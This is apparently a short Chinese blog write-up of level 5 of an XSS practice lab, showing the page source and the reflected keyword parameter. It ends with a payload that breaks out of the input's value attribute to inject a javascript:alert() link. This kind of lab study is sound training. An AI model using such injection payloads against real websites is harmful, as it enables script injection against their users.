xss漏洞攻击-第五关

Posted on 2022-06-29 21:17  季啊  阅读(193)  评论(0)    收藏  举报
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和find a way out!相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="find a way out!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:15</h3></body>
</html>

 原地址:http://192.168.199.153/xss/level5.php?keyword=find a way out!

 

 

    修改一下:http://192.168.199.153/xss/level5.php?keyword=123

 发现把find a way out! 改为123后也可以输出!

 

 

 既然都不行,直接把value值给闭合,重新做一个链接出来。

 http://192.168.199.153/xss/level5.php?keyword="><a href="javascript:alert()>点击</a>